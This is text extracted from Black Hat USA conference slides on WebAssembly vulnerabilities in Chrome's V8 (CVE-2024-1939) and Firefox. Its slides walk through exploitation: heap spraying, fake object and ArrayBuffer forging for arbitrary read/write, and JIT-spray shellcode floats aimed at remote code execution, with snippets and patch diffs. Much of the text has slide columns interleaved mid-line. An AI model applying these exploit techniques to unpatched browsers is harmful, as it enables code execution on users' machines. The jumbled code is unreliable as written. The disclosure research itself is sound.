A S128 param was stored as 16 bytes on stack

#BHUSA @BlackHatEvents
The Bug (CVE-2024-1939)
Wasm Stack outParams
Root Cause: Ignored S128 type (FixedArray)
Param 2 Param 1
When a S128 param on stack: Param 3 Param 2
Param 4 GP Section Translator Param 3
• When generating THIS parameter, truncation occurs (as
its original type). Param 6 Param 4
Getter
Param 7 GetFP32Slot Param 5
GetGPSlot
Param 1 GetStackSlot Param 6
……
• When generating NEXT parameter, it uses part of S128 Param 7
Param 5
param as it value, and convert the value to JSObject using
Param 8 FP Section Param 8
it own type. Leading to a type confusion! Converer Truncation

Param 9 WasmToJSObject Param 9


I64ToBigInt
Param 10 I32PairToBigInt
*RefCast<int32>
Param 10
Param 11 …… Param 11
Param 12(low) Type Param 12
StackSloat Section Confusion
Param 12 (high) Param 13
Param 13

#BHUSA @BlackHatEvents
macro WasmToJSObject(context: NativeContext, value: Object, retType: int32):

The Bug (CVE-2024-1939)


JSAny {
const paramKind = retType & kValueTypeKindBitsMask;
const heapType = (retType >> kValueTypeKindBits) & kValueTypeHeapTypeMask;
if (paramKind == ValueKind::kRef) {
if (heapType == HeapType::kEq || heapType == HeapType::kI31 ||
heapType == HeapType::kStruct || heapType == HeapType::kArray ||
The Primitive: FakeObj heapType == HeapType::kAny || heapType == HeapType::kExtern ||
heapType == HeapType::kString || heapType == HeapType::kNone ||
heapType == HeapType::kNoFunc || heapType == HeapType::kNoExtern ||
heapType == HeapType::kExn || heapType == HeapType::kNoExn) {
return UnsafeCast<JSAny>(value);
When generating the JSObject: }
// TODO(ahaas): This is overly pessimistic: all module-defined struct and
// array types can be passed to JS as-is as well; and for function types we
// could at least support the fast path where the WasmExternalFunction has
// already been created.

• Case 1: Cast the low 4 bytes as a JSObject (When return runtime::WasmGenericWasmToJSObject(context, value);
} else {
‘Pointer Compression’ enable). dcheck(paramKind == ValueKind::kRefNull);
if (heapType == HeapType::kExtern || heapType == HeapType::kNoExtern ||
Finally passed to the imported JS function, get a Fakeobj primitive. heapType == HeapType::kExn || heapType == HeapType::kNoExn) {
return UnsafeCast<JSAny>(value);
}
if (value == kWasmNull) {
return Null;

• Case 2: Call WasmGenericWasmToJSObject with the 8 }


if (heapType == HeapType::kEq || heapType == HeapType::kStruct ||
bytes value to generate a JSObject. heapType == HeapType::kArray || heapType == HeapType::kString ||
heapType == HeapType::kI31 || heapType == HeapType::kAny) {
return UnsafeCast<JSAny>(value);
corrupt out-of-V8-sandbox memory }
// TODO(ahaas): This is overly pessimistic: all module-defined struct and
// array types can be passed to JS as-is as well; and for function types we
// could at least support the fast path where the WasmExternalFunction has
// already been created.
return runtime::WasmGenericWasmToJSObject(context, value);
}
} #BHUSA @BlackHatEvents
macro WasmToJSObject(context: NativeContext, value: Object, retType: int32):

The Bug (CVE-2024-1939)


JSAny {
const paramKind = retType & kValueTypeKindBitsMask;
const heapType = (retType >> kValueTypeKindBits) & kValueTypeHeapTypeMask;
if (paramKind == ValueKind::kRef) {
if (heapType == HeapType::kEq || heapType == HeapType::kI31 ||
heapType == HeapType::kStruct || heapType == HeapType::kArray ||
The Primitive: FakeObj heapType == HeapType::kAny || heapType == HeapType::kExtern ||
heapType == HeapType::kString || heapType == HeapType::kNone ||
heapType == HeapType::kNoFunc || heapType == HeapType::kNoExtern ||
heapType == HeapType::kExn || heapType == HeapType::kNoExn) {
return UnsafeCast<JSAny>(value);
When generating the JSObject: }
// TODO(ahaas): This is overly pessimistic: all module-defined struct and
// array types can be passed to JS as-is as well; and for function types we
// could at least support the fast path where the WasmExternalFunction has
// already been created.

• Case 1: Cast the low 4 bytes as a JSObject (When return runtime::WasmGenericWasmToJSObject(context, value);
} else {
‘Pointer Compression’ enable and also on 32bit). dcheck(paramKind == ValueKind::kRefNull);
if (heapType == HeapType::kExtern || heapType == HeapType::kNoExtern ||
Finally passed to the imported JS function, get a Fakeobj primitive. heapType == HeapType::kExn || heapType == HeapType::kNoExn) {
return UnsafeCast<JSAny>(value);
}
if (value == kWasmNull) {
return Null;

• Case 2:kExprS128Const,
kSimdPrefix, Call WasmGenericWasmToJSObject with0x5c,
0x6f, 0xae, 0xfb, 0x2c, the 0xd7,
8 0xcf, }
if (heapType == HeapType::kEq || heapType == HeapType::kStruct ||

0xef,bytes value0x00,
to generate
0x00, 0xee,a0xd7,
JSObject. heapType == HeapType::kArray || heapType == HeapType::kString ||
0x41, 0x42, 0x3e, 0x50, // v128.const heapType == HeapType::kI31 || heapType == HeapType::kAny) {
return UnsafeCast<JSAny>(value);
corrupt out-of-V8-sandbox memory }
// TODO(ahaas): This is overly pessimistic: all module-defined struct and
// array types can be passed to JS as-is as well; and for function types we
// could at least support the fast path where the WasmExternalFunction has
// already been created.
return runtime::WasmGenericWasmToJSObject(context, value);
}
} #BHUSA @BlackHatEvents
macro WasmToJSObject(context: NativeContext, value: Object, retType: int32):

The Bug (CVE-2024-1939)


JSAny {
const paramKind = retType & kValueTypeKindBitsMask;
const heapType = (retType >> kValueTypeKindBits) & kValueTypeHeapTypeMask;
if (paramKind == ValueKind::kRef) {
if (heapType == HeapType::kEq || heapType == HeapType::kI31 ||
heapType == HeapType::kStruct || heapType == HeapType::kArray ||
The Primitive: FakeObj heapType == HeapType::kAny || heapType == HeapType::kExtern ||
heapType == HeapType::kString || heapType == HeapType::kNone ||
heapType == HeapType::kNoFunc || heapType == HeapType::kNoExtern ||
heapType == HeapType::kExn || heapType == HeapType::kNoExn) {
return UnsafeCast<JSAny>(value);
When generating the JSObject: }
// TODO(ahaas): This is overly pessimistic: all module-defined struct and
// array types can be passed to JS as-is as well; and for function types we
// could at least support the fast path where the WasmExternalFunction has
// already been created.

• Case 1: Cast the low 4 bytes as a JSObject (When return runtime::WasmGenericWasmToJSObject(context, value);
} else {
‘Pointer Compression’ enable and also on 32bit). dcheck(paramKind == ValueKind::kRefNull);
if (heapType == HeapType::kExtern || heapType == HeapType::kNoExtern ||
Finally passed to the imported JS function, get a Fakeobj primitive. heapType == HeapType::kExn || heapType == HeapType::kNoExn) {
return UnsafeCast<JSAny>(value);
}
if (value == kWasmNull) {
return Null;

• Case 2: Call WasmGenericWasmToJSObject with the 8 }


if (heapType == HeapType::kEq || heapType == HeapType::kStruct ||
bytes value to generate a JSObject. heapType == HeapType::kArray || heapType == HeapType::kString ||
heapType == HeapType::kI31 || heapType == HeapType::kAny) {
return UnsafeCast<JSAny>(value);
corrupt out-of-V8-sandbox memory }
// TODO(ahaas): This is overly pessimistic: all module-defined struct and
// array types can be passed to JS as-is as well; and for function types we
// could at least support the fast path where the WasmExternalFunction has
// already been created.
return runtime::WasmGenericWasmToJSObject(context, value);
}
} #BHUSA @BlackHatEvents
macro WasmToJSObject(context: NativeContext, value: Object, retType: int32):

The Bug (CVE-2024-1939)


JSAny {
const paramKind = retType & kValueTypeKindBitsMask;
const heapType = (retType >> kValueTypeKindBits) & kValueTypeHeapTypeMask;
if (paramKind == ValueKind::kRef) {
if (heapType == HeapType::kEq || heapType == HeapType::kI31 ||
heapType == HeapType::kStruct || heapType == HeapType::kArray ||
The Primitive: FakeObj heapType == HeapType::kAny || heapType == HeapType::kExtern ||
heapType == HeapType::kString || heapType == HeapType::kNone ||
heapType == HeapType::kNoFunc || heapType == HeapType::kNoExtern ||
heapType == HeapType::kExn || heapType == HeapType::kNoExn) {
return UnsafeCast<JSAny>(value);
When generating the JSObject: }
// TODO(ahaas): This is overly pessimistic: all module-defined struct and
// array types can be passed to JS as-is as well; and for function types we
// could at least support the fast path where the WasmExternalFunction has
// already been created.

• Case 1: Cast the low 4 bytes as a JSObject (When return runtime::WasmGenericWasmToJSObject(context, value);
} else {
‘Pointer Compression’ enable and also on 32bit). dcheck(paramKind == ValueKind::kRefNull);
if (heapType == HeapType::kExtern || heapType == HeapType::kNoExtern ||
Finally passed to the imported JS function, get a Fakeobj primitive. heapType == HeapType::kExn || heapType == HeapType::kNoExn) {
return UnsafeCast<JSAny>(value);
}
if (value == kWasmNull) {
return Null;

• Case 2: Call WasmGenericWasmToJSObject with the 8 }


if (heapType == HeapType::kEq || heapType == HeapType::kStruct ||
kExprI64Const,
bytes value 0xc1,0x82,0x85,0x8a,0x94,0xa8,0x10,
to generate a JSObject. // i64.const heapType == HeapType::kArray || heapType == HeapType::kString ||
heapType == HeapType::kI31 || heapType == HeapType::kAny) {
return UnsafeCast<JSAny>(value);
corrupt out-of-V8-sandbox memory }
// TODO(ahaas): This is overly pessimistic: all module-defined struct and
// array types can be passed to JS as-is as well; and for function types we
// could at least support the fast path where the WasmExternalFunction has
// already been created.
return runtime::WasmGenericWasmToJSObject(context, value);
}
} #BHUSA @BlackHatEvents
How to Exploit (on 32bit)
What we have: Fake ANY address as a JSObject and operate it.

What we lack: Where to fake? A stable and controllable memory? Info leak?

The Way Out: Get a stable address using enough sufficient memory stress.

https://media.defcon.org/DEF%20CON%2031/DEF%20CON%2031%20presentations/Bohan%20Liu%20Zheng%20Wang%20GuanCheng%20Li%20-
%20ndays%20are%20also%200days%20Can%20hackers%20launch%200day%20RCE%20attack%20on%20popular%20softwares%20only%20with%20chromium%20ndays.pdf #BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address

1. Allocate a large, continuous memory to cover a high address


new ArrayBuffer(0x6f000000); -> 0x8ff00000

0x8ff00000

Big ArrayBuffer

High Address
#BHUSA @BlackHatEvents
a2 = [1.1,1.2]

How to Exploit (on 32bit) Low Address

1. Allocate a large, continuous memory to cover a high address


new ArrayBuffer(0x6f000000); -> 0x8ff00000
2. Fake many ONE_BYTE_INTERNALIZED_STRING_TYPE JSString with very long length on the ArrayBuffer.

Fake JSString
0x8ff00000
Fake JSString
Fake JSString
Fake JSString

Big ArrayBuffer

Fake JSString
Fake JSString

High Address
#BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address

1. Allocate a large, continuous memory to cover a high address


new ArrayBuffer(0x6f000000); -> 0x8ff00000
0x5ca8d000
Guess_address
2. Fake many ONE_BYTE_INTERNALIZED_STRING_TYPE JSString with very long length on the ArrayBuffer. Canary
Sprayed JSObject
V8 Heap
Sprayed JSObject

3. Allocate many JSObject with Specific structure to fills up the v8 heap.


a2 = [1.1,1.2];
for(var i = 0 ; i<0x1000000;i++){
a1 = [0xdead,a2,evil_f,victim_ab];
keeper.push(a1);
} 0x8ff00000
Fake JSString
Fake JSString
Fake JSString
Fake JSString

Big ArrayBuffer

Fake JSString
Fake JSString

High Address
#BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address

1. Allocate a large, continuous memory to cover a high address


new ArrayBuffer(0x6f000000); -> 0x8ff00000
0x5ca8d000
Guess_address
2. Fake many ONE_BYTE_INTERNALIZED_STRING_TYPE JSString with very long length on the ArrayBuffer. Canary
Sprayed JSObject
V8 Heap
Sprayed JSObject

3. Allocate many JSObject with Specific structure to fills up the v8 heap.

4. Trigger the Bug, get the fake JSString handler with the address 0x8ff00001.

Fake JSString
FakeObj 0x8ff00000
Fake JSString
Fake JSString
Fake JSString

Big ArrayBuffer

Fake JSString
Fake JSString

High Address
#BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address

1. Allocate a large, continuous memory to cover a high address


new ArrayBuffer(0x6f000000); -> 0x8ff00000
0x5ca8d000
Guess_address
2. Fake many ONE_BYTE_INTERNALIZED_STRING_TYPE JSString with very long length on the ArrayBuffer. Canary
Sprayed JSObject
V8 Heap
Sprayed JSObject

3. Allocate many JSObject with Specific structure to fills up the v8 heap.


String.prototype.slice

4. Trigger the Bug, get the fake JSString handler with the address 0x8ff00001.

Fake JSString
FakeObj 0x8ff00000
5. Search from the guess_address to find 0xdead, leak more info Fake JSString
Fake JSString
(Address of JSFunction, Map of ArrayBuffer ) Fake JSString

Big ArrayBuffer

Fake JSString
Fake JSString

High Address
#BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address

1. Allocate a large, continuous memory to cover a high address


new ArrayBuffer(0x6f000000); -> 0x8ff00000
0x5ca8d000
Guess_address
2. Fake many ONE_BYTE_INTERNALIZED_STRING_TYPE JSString with very long length on the ArrayBuffer. Canary
Sprayed JSObject
V8 Heap
Sprayed JSObject

3. Allocate many JSObject with Specific structure to fills up the v8 heap.


String.prototype.slice

4. Trigger the Bug, get the fake JSString handler with the address 0x8ff00001.

Fake JSString
FakeObj 0x8ff00000
5. Search from the guess_address to find 0xdead, leak more info Fake JSArrayBuffer AAR &
AAW
Fake JSString
(Address of JSFunction, Map of ArrayBuffer ) Fake JSString

Big ArrayBuffer

6. Modify the FakeObj as a ArrayBuffer to get the Arbitrary Read & Write -> RCE.
Fake JSString
Fake JSString

High Address
#BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address

1. Allocate a large, continuous memory to cover a high address


new ArrayBuffer(0x6f000000); -> 0x8ff00000
0x5ca8d000
Guess_address
2. Fake many ONE_BYTE_INTERNALIZED_STRING_TYPE JSString with very long length on the ArrayBuffer. Canary V8 Heap

3. Allocate many JSObject with Specific structure to fills up the v8 heap.


String.prototype.slice

4. Trigger the Bug, get the fake JSString handler with the address 0x8ff00001.

Fake JSString
FakeObj 0x8ff00000
5. Search from the guess_address to find 0xdead, leak more info Fake JSArrayBuffer
Fake JSString
(Address of JSFunction, Map of ArrayBuffer ) Fake JSString

Big ArrayBuffer

6. Modify the FakeObj via ArrayBuffer as a ArrayBuffer to get the Arbitrary Read & Write -> RCE.
Fake JSString
Fake JSString

High Address
#BHUSA @BlackHatEvents
How to Exploit (on 32bit) Low Address

1. Allocate a large, continuous memory to cover a high address


new ArrayBuffer(0x6f000000); -> 0x8ff00000
0x5ca8d000
Guess_address
2. Fake many ONE_BYTE_INTERNALIZED_STRING_TYPE JSString with very long length on the ArrayBuffer. Canary
Sprayed JSObject
V8 Heap
Sprayed JSObject

3. Allocate many JSObject with Specific structure to fills up the v8 heap.


String.prototype.slice

4. Trigger the Bug, get the fake JSString handler with the address 0x8ff00001.

Fake JSString
FakeObj 0x8ff00000
5. Search from the guess_address to find 0xdead, leak more info Fake JSArrayBuffer AAR &
AAW
Fake JSString
(Address of JSFunction, Map of ArrayBuffer ) Fake JSString

Big ArrayBuffer

6. Modify the FakeObj via ArrayBuffer as a ArrayBuffer to get the Arbitrary Read & Write -> RCE.
Fake JSString
Fake JSString

High Address
#BHUSA @BlackHatEvents
How to Exploit (on 64bit)
What we have: Fake ANY address in V8 Sandbox as a JSObject and operate it.

What we lack: Where to fake? A stable and controllable memory? Info leak?

The Way Out: Get a stable address using enough sufficient memory stress V8 memory allocation
feature.
Some address is stable under some condition:
1. In same binary: Map, Empty FixedArray
2. Under same execution environment: HardCode String

https://bbs.kanxue.com/thread-270061.htm [Simplified Chinese]


#BHUSA @BlackHatEvents
How to Exploit (on 64bit) Low Address

0xABCD00004141
FakeObj 0xABCD0000415d
1. Get a stable address by allocating a HardCode String. ArrayMap
0x00096ca5
Empty FixedArray
0x000006cd
Search StartJSString Length
AAR &
a. Never changed when running in same condition, e.g. from http://127.0.0.1:1337/index.html 0x00020301 0x700008
AAW
b. We can also achieve this by JSObject spraying.
Sprayed JSObject
2. Fake a Double Array in the JSString.
0xABCD00020301
Sprayed JSObject
3. Allocate many JSObject with Specific structure to fills up the v8 heap. Sprayed JSObject

4. Trigger the Bug, get the fake JSString handler with the address 0x0000415d.

5. Build AddrOf, AAR & AAW in V8 Sandbox primitives.

6. Escape V8 Sandbox to RCE [Not discussed in this talk]

V8 Heap
#BHUSA @BlackHatEvents
Base 0xABCD00000000
How to Exploit (on 64bit) Low Address

0xABCD00004141
FakeObj 0xABCD0000415d
1. Get a stable address by allocating a HardCode String. ArrayMap
0x00096ca5
Empty FixedArray
0x000006cd
Search StartJSString Length
AAR &
a. Never changed when running in same condition, e.g. from http://127.0.0.1:1337/index.html 0x00020301 0x700008
AAW
b. We can also achieve this by JSObject spraying.
Sprayed JSObject
2. Fake a Double Array in the JSString.
0xABCD00020301
Sprayed JSObject
3. Allocate many JSObject with Specific structure to fills up the v8 heap. Sprayed JSObject

4. Trigger the Bug, get the fake JSString handler with the address 0x0000415d.

5. Build AddrOf, AAR & AAR in V8 Sandbox primitives.

6. Escape V8 Sandbox to RCE [Not discussed in this talk]

V8 Heap
#BHUSA @BlackHatEvents
Base 0xABCD00000000
Less Check in Wasm

#BHUSA @BlackHatEvents
Case Study and Exploitation Tech
in WASM
Firefox

#BHUSA @BlackHatEvents
Background: Tail-Calls
Design of Tail Call

#BHUSA @BlackHatEvents
The Bug 1862473 (Case 1)
Root Cause
Due to the bug in tail call, the stack pointer (sp) moves too far. It overwrites the locals of the parent function when copying
the arguments of the child function.

#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.

#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.

Less Check in Wasm

#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.

Check Index

Memory Visit

#BHUSA @BlackHatEvents
How to Exploit (Case 1)

#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.

Hardcoded
Offset

#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.

Hardcoded
Offset

OOB

#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.
2. Arbitrary R/W
2.1 forge a WasmArray on the ArrayBuffer, save the address WA.
2.2 Use the bug to overwrite the WasmArray on stack to I64 with value WA.

faked

#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.
2. Arbitrary R/W
2.1 forge a WasmArray on the ArrayBuffer, save the address WA.
2.2 Use the bug to overwrite the WasmArray on stack to I64 with value WA.
NaN-Boxing Bypass
const ab = new ArrayBuffer(0x30);
const ua = new Uint32Array(ab);
ua[4]=0x10000; // len
ua[6]=Number(addr % 0x100000000n); // fakeobj offset
ua[7]=Number(addr >> 32n);

#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.
2. Arbitrary R/W
3. Get Shell: change the jit address of functionClass to a shellcode address using JIT Spray.
Store shellcode in float JSArray
const foo = ()=>
{
return [1.0,
9.203763987562782e-79,
6.375092797421955e+93,
2.6368626227639178e-284];
}

#BHUSA @BlackHatEvents
How to Exploit (Case 1)
1. AddrOf primitive: Type Confusion from i64 array to i32 array.
2. Arbitrary R/W
3. Get Shell: change the jit address of functionClass to a shellcode address using JIT Spray.
Store shellcode in float JSArray
const foo = ()=>
{
return [1.0,
9.203763987562782e-79,
6.375092797421955e+93,
2.6368626227639178e-284];
}

#BHUSA @BlackHatEvents
The Bug 1880719 (Case 2)
Root Cause: Length interger overflow in array.new_default

#BHUSA @BlackHatEvents
void MacroAssembler::wasmBumpPointerAllocateDynamic(

The Bug 1880719 (Case 2) Register instance, Register result, Register typeDefData,
Register size,
Register temp1, Label* fail) {
Root Cause: Length interger overflow in array.new_default
···
int32_t endOffset = Nursery::offsetOfCurrentEndFromPosition();

// Bail to OOL code if the alloc site needs to be initialized.


load32(Address(typeDefData,
wasm::TypeDefInstanceData::offsetOfAllocSite() +

gc::AllocSite::offsetOfNurseryAllocCount()),
temp1);
branch32(Assembler::Equal, temp1, Imm32(0), fail);
···
}

#BHUSA @BlackHatEvents
How to Exploit (Case 2)
1. OOB Read/Write
a. Twice memory allocation to trigger the bug in asm code (First in OOL)
var wasm_code = wasmTextToBinary(`(module
(type $a (array i32))
(func (export "testA") (result (ref $a))
(array.new $a (i32.const 0) (i32.const 1))
drop
(array.new $a (i32.const 0) (i32.const 2147483647))
)
)`);

b. RW object fields behind the OOB wasm array

#BHUSA @BlackHatEvents
How to Exploit (Case 2)
1. OOB Read/Write
2. Arbitry Read/Write: OOBW data file of next WasmArrayObject to the victim addr

#BHUSA @BlackHatEvents
How to Exploit (Case 2)
1. OOB Read/Write
2. Arbitry Read/Write: OOBW data file of next WasmArrayObject to the victim addr
3. Addrof:
a. Alloc an i32 wasmarray
b. Alloc a ref wasmarray
c. Using JS objects as arguments of exported wasm function
c. Replace the data field of i32 wasmarray to ref wasmarray
d. Read the value of i32 wasmarray

#BHUSA @BlackHatEvents
How to Exploit (Case 2)
1. OOB Read/Write
2. Arbitry Read/Write: OOBW data file of next WasmArrayObject to the victim addr
3. Addrof
4. JIT spray (same)

#BHUSA @BlackHatEvents
Patch Analysis
Add the check of storageBytes
if (lir->numElements()->isConstant()) {
- uint32_t storageBytes =
- WasmArrayObject::calcStorageBytes(mir->elemSize(), numElements);
- if (storageBytes > WasmArrayObject_MaxInlineBytes) {
+ CheckedUint32 storageBytes =
+ WasmArrayObject::calcStorageBytesChecked(mir->elemSize(), numElements);
+ if (!storageBytes.isValid() ||
+ storageBytes.value() > WasmArrayObject_MaxInlineBytes) {
···
masm.wasmNewArrayObjectFixed(instance, output, typeDefData, temp1, temp2,
- ool->entry(), numElements, storageBytes,
- mir->zeroFields());
+ ool->entry(), numElements,
+ storageBytes.value(), mir->zeroFields());

masm.bind(ool->rejoin());
}
} else {
···
masm.wasmNewArrayObject(instance, output, numElements, typeDefData, temp1,
ool->entry(), mir->elemSize(), mir->zeroFields());
···
}
}
#BHUSA @BlackHatEvents
Patch Analysis
Add the check of storageBytes,
if (lir->numElements()->isConstant()) {
- uint32_t storageBytes =
- WasmArrayObject::calcStorageBytes(mir->elemSize(), numElements);
- if (storageBytes > WasmArrayObject_MaxInlineBytes) {
+ CheckedUint32 storageBytes =
+ WasmArrayObject::calcStorageBytesChecked(mir->elemSize(), numElements);
+ if (!storageBytes.isValid() ||
+ storageBytes.value() > WasmArrayObject_MaxInlineBytes) {
···
masm.wasmNewArrayObjectFixed(instance, output, typeDefData, temp1, temp2,
- ool->entry(), numElements, storageBytes,
- mir->zeroFields());
+ ool->entry(), numElements,
+ storageBytes.value(), mir->zeroFields()); Same
masm.bind(ool->rejoin()); Logic
}
} else {
···
masm.wasmNewArrayObject(instance, output, numElements, typeDefData, temp1,
ool->entry(), mir->elemSize(), mir->zeroFields());
···
}
}
#BHUSA @BlackHatEvents
The Bug 1882481 (Case 3)
Add same check
void MacroAssembler::wasmNewArrayObject(Register instance, Register result,
[. . . ]

branchTestPtr(Assembler::NonZero,
Address(temp, gc::AllocSite::offsetOfScriptAndState()),
Imm32(gc::AllocSite::LONG_LIVED_BIT), fail);
[. . . ]
+ // Ensure that the numElements is small enough to fit in inline storage.
+ branch32(Assembler::Above, numElements,
+ Imm32(WasmArrayObject::maxInlineElementsForElemSize(elemSize)),
+ fail);
+
[. . . ]
+ // Compute the size of the allocation in bytes. The final size must correspond
+ // to an AllocKind. See WasmArrayObject::calcStorageBytes and
+ // WasmArrayObject::allocKindForIL.
+
+ // Compute the size of all array element data.
+ mul32(Imm32(elemSize), numElements);
+ // Add the data header.
+ add32(Imm32(sizeof(WasmArrayObject::DataHeader)), numElements);
}

https://phabricator.services.mozilla.com/D203511
#BHUSA @BlackHatEvents
Conclusion

#BHUSA @BlackHatEvents
Black Hat Sound Bytes

• Introduce the concept of WASM execution vulnerabilities, analyze the attack surface of these
vulnerabilities.

• Improve and integrate the WASM and JavaScript fuzz testing framework, and propose a targeted
vulnerability finding method using multiple methods.

• Analyze high-risk WASM execution vulnerabilities we found in mainstream browsers, and show
how to exploit them.

#BHUSA @BlackHatEvents
Acknowledgement
• Yang Yu (@tombkeeper)
• Guancheng Li(@Atuml1)
• Cen Zhang
• Samuel Groß, Carl Smith and V8 Team
• Amy Ressler and Chrome VRP

#BHUSA @BlackHatEvents
Thanks!

#BHUSA @BlackHatEvents

You might also like